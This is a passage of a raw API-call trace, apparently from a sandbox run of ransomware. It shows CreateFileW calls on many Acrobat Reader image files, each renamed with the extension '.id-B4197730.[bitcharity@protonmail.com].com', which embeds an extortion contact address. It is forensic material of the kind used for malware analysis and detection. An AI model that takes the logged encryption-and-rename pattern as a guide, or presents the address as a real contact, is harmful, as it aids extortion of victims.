liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.822] CloseHandle (hObject=0x126c) returned 1 [0278.824] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.824] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_issue.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.824] CloseHandle (hObject=0x126c) returned 1 [0278.824] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.825] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_lg.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.825] CloseHandle (hObject=0x126c) returned 1 [0278.826] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.826] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\server_ok.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.826] CloseHandle (hObject=0x126c) returned 1 [0278.827] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.827] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\stop_collection_data.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.827] CloseHandle (hObject=0x126c) returned 1 [0278.829] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.829] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\submission_history.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.829] CloseHandle (hObject=0x126c) returned 1 [0278.830] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.830] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tl.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.830] CloseHandle (hObject=0x126c) returned 1 [0278.830] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.830] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\tr.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.831] CloseHandle (hObject=0x126c) returned 1 [0278.831] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.831] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\trash.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.832] CloseHandle (hObject=0x126c) returned 1 [0278.963] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.963] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationinacrobat.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.963] CloseHandle (hObject=0x1160) returned 1 [0280.543] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.543] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.543] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.543] CloseHandle (hObject=0x1160) returned 1 [0280.674] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.674] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.675] CloseHandle (hObject=0x1160) returned 1 [0280.676] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.676] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_highcontrast_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.676] CloseHandle (hObject=0x1160) returned 1 [0280.677] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.677] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.677] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_bow.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_bow.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.677] CloseHandle (hObject=0x1160) returned 1 [0280.678] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.678] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons__retina_hiContrast_wob.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons__retina_hicontrast_wob.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.679] CloseHandle (hObject=0x1160) returned 1 [0280.680] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.680] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.680] CloseHandle (hObject=0x1160) returned 1 [0280.681] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.681] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.681] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.681] CloseHandle (hObject=0x1160) returned 1 [0280.682] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.682] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.682] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.682] CloseHandle (hObject=0x1160) returned 1 [0280.683] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.683] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.684] CloseHandle (hObject=0x1160) returned 1 [0280.685] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.685] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.685] CloseHandle (hObject=0x1160) returned 1 [0280.687] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.687] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.689] CloseHandle (hObject=0x1160) returned 1 [0280.691] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.691] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.691] CloseHandle (hObject=0x1160) returned 1 [0280.692] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.692] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.692] CloseHandle (hObject=0x1160) returned 1 [0280.693] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.693] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.694] CloseHandle (hObject=0x1160) returned 1 [0280.695] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.695] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.695] CloseHandle (hObject=0x1160) returned 1 [0280.696] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.696] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.697] CloseHandle (hObject=0x1160) returned 1 [0280.697] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.698] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner_dark2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.698] CloseHandle (hObject=0x1160) returned 1 [0280.699] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.699] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.699] CloseHandle (hObject=0x1160) returned 1 [0280.700] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.700] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\rhp_icons_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.700] CloseHandle (hObject=0x1160) returned 1 [0280.701] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.701] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.702] CloseHandle (hObject=0x1160) returned 1 [0280.703] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.703] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.703] CreateFileW 